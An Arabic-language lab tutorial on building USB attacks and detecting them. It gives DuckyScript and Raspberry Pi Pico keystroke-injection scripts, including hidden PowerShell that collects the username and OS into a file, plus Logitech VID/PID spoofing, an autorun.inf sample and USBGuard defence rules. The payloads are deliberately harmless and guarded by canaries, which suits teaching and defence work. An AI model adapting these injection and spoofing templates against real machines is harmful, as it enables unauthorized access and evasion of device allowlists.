بناء هجمات USB في المختبر — أمثلة عملية

نطاق هذا الدرس

الدرس السابق (usb-network-implants) شرح ماذا ولماذا. هذا الدرس يجيب على كيف نبنيها بأيدينا في مختبر مرخّص — وكيف نكتشفها كمدافعين. كل أمثلة الكود هنا تعليمية: تفتح Notepad، تكتب علامة في ملف، تطبع رسالة. لا تحتوي C2 ولا سرقة بيانات.

إعداد مختبر آمن قبل أي شيء

مثال 1 — DuckyScript: "hello world" لـ BadUSB

هذا أبسط سكربت ممكن. يفتح Notepad ويكتب نصاً. الهدف: فهم بنية DuckyScript قبل أي شيء أعقد.

REM أبسط PoC تعليمي — يفتح Notepad ويكتب علامة
DELAY 1500            REM انتظر تعرّف النظام على "لوحة المفاتيح"
GUI r                 REM Win+R = فتح Run
DELAY 300
STRING notepad
ENTER
DELAY 800
STRING USB lab test - educational only - $(Get-Date)
ENTER
STRING This file proves the HID could type. No payload executed.

ما الذي يعلّمه: ضربات المفاتيح (STRING)، المفاتيح الخاصة (GUI, ENTER)، وأهمية DELAY — بدونها السكربت يكتب قبل أن يفتح Notepad فيضيع الإدخال.

مثال 2 — DuckyScript بـ canary وحدود تنفيذ آمنة

REM PoC تعليمي مع canary — لن ينفذ ما لم يجد ملف اختبار
DELAY 1500
GUI r
DELAY 300
STRING powershell -w hidden -nop -c "if (Test-Path C:\LAB_OK.txt) { Add-Content C:\LAB_OK.txt ('USB-PoC ran at ' + (Get-Date)) } else { exit }"
ENTER

سطر واحد PowerShell يتحقق من وجود علامة. لو فتحت USB بالخطأ على جهاز ليس فيه C:\\LAB_OK.txt، لا يحدث شيء. هذا نمط "safety net" مهم في مختبرات التدريب.

مثال 3 — اكتشاف بيئة قبل الإقلاع

سكربت تعليمي يطبع نوع نظام التشغيل ولغة لوحة المفاتيح إلى ملف. هذا نمط حقيقي يستخدمه المهاجمون لتعديل لاحق للحمولة — لكن هنا نوقف عند "اعرف فقط".

REM PoC: enumerate environment, write to file, exit
DELAY 1500
GUI r
DELAY 300
STRING powershell -w hidden -nop -c "if (-not (Test-Path C:\LAB_OK.txt)) { exit }; $info = @{ os = $PSVersionTable.OS; user = $env:USERNAME; lang = (Get-Culture).Name; time = (Get-Date) }; $info | Out-File C:\LAB_OK.txt -Append"
ENTER

القيمة الدفاعية: فهم أن المهاجم يحتاج 5–15 ثانية ليجمع هذه المعلومة الأولية. EDR الذي يصطاد "PowerShell hidden launched seconds after USB plug" يكسر السلسلة قبل أن تبدأ.

مثال 4 — Raspberry Pi Pico كـ BadUSB بـ $4

Pi Pico بـ CircuitPython + adafruit_hid يكافئ Rubber Ducky تجارياً. كامل الكود تعليمي ومفتوح:

# code.py — PoC تعليمي على Raspberry Pi Pico
# يفتح Notepad ويكتب علامة، ثم يتوقف نهائياً.
# لا يحوي اتصال شبكي ولا تنفيذ ثنائي.

import time
import board
import digitalio
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode

# تأخير الإقلاع — ينتظر تعرّف النظام على HID
time.sleep(2.5)

kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)

# Win+R
kbd.send(Keycode.GUI, Keycode.R)
time.sleep(0.4)

# اكتب الأمر
layout.write("notepad\n")
time.sleep(1.0)

# اكتب رسالة تعليمية ثم توقف
layout.write("Pi Pico BadUSB lab test - educational PoC only.\n")
layout.write("No network, no exec, no payload.\n")

# قفل لمنع تكرار التنفيذ
while True:
    time.sleep(60)

مثال 5 — انتحال جهاز موثوق (VID/PID spoofing)

كل جهاز USB يقدّم نفسه بـ Vendor ID + Product ID. أنظمة GPO تسمح أحياناً بـ "Logitech keyboards" فقط. الهجوم: عدّل descriptors لتقول إنك Logitech.

# في boot.py على Pico — قبل أي شيء آخر
import usb_hid
import supervisor

# أمثلة VID/PID — موجودة في قواعد بيانات USB-IF العامة
# 046d:c31c = Logitech generic keyboard
supervisor.set_usb_identification(
    manufacturer="Logitech",
    product="USB Keyboard",
    vid=0x046D,
    pid=0xC31C,
)

مثال 6 — autorun الكلاسيكي (لِمَ ما زال يهم)

منذ Windows 7 SP1 معطّل افتراضياً، لكن: (أ) أنظمة OT/ICS كثيرة ما زالت تعمل XP/7 RTM، (ب) بعض GPO تعيد تفعيله للـ "ملاءمة".

; autorun.inf تعليمي — على XP/7 RTM يفتح ملف عند الإدخال
[autorun]
open=demo.exe
icon=demo.ico
label=Lab USB
action=Open lab demo

مثال 7 — رؤية ما يحدث على الناقل (USBPcap)

قبل أن تدافع، شاهد. Wireshark + USBPcap على Windows أو usbmon على Linux يظهران كل packet HID.

هذه الرؤية تكشف: Pico/Ducky يطلق عشرات keystrokes في ثانية واحدة. لا بشري يكتب بهذا الإيقاع. التوقيع التحليلي بسيط جداً للـ EDR ليكتشفه.

بناء الدفاع طبقة طبقة

sudo apt install usbguard
sudo usbguard generate-policy > /etc/usbguard/rules.conf
sudo systemctl enable --now usbguard
# قاعدة مثال — اسمح فقط بـ keyboard مسجّل بـ serial:
# allow id 046d:c31c serial "ABC123XYZ"
# block

قائمة فحص للـ Red Team — قبل التشغيل في عملية مرخّصة

• تفويض مكتوب يغطي USB drops و BadUSB صريحاً (Rules of Engagement).
• تحديد المواقع المسموح إسقاط USB فيها — لا تتسلل إلى مناطق ليست في النطاق.
• كل USB يحوي canary — لن ينفذ خارج الـ environment المتفق عليه.
• تسجيل serial numbers لكل قطعة — حتى يُمكن استرجاعها بعد العملية.
• POC إخطار للمدير الأمني للهدف لو شيء انفلت من السيطرة.
• تقرير ما بعد العملية: ماذا التُقط، كم نقر المستخدمون، ما الكشف الذي عمل، ما الذي فشل.

مراجع تطبيقية

• Hak5 DuckyScript 3.0 reference — اللغة الكاملة
• Adafruit CircuitPython HID guide — لـ Pi Pico
• Microsoft Device Installation Restrictions docs
• USBGuard project (github.com/USBGuard)
• Sigma rules repo: rules/windows/sysmon — usb_ patterns
• SANS FOR509 / FOR526 للـ memory/USB forensics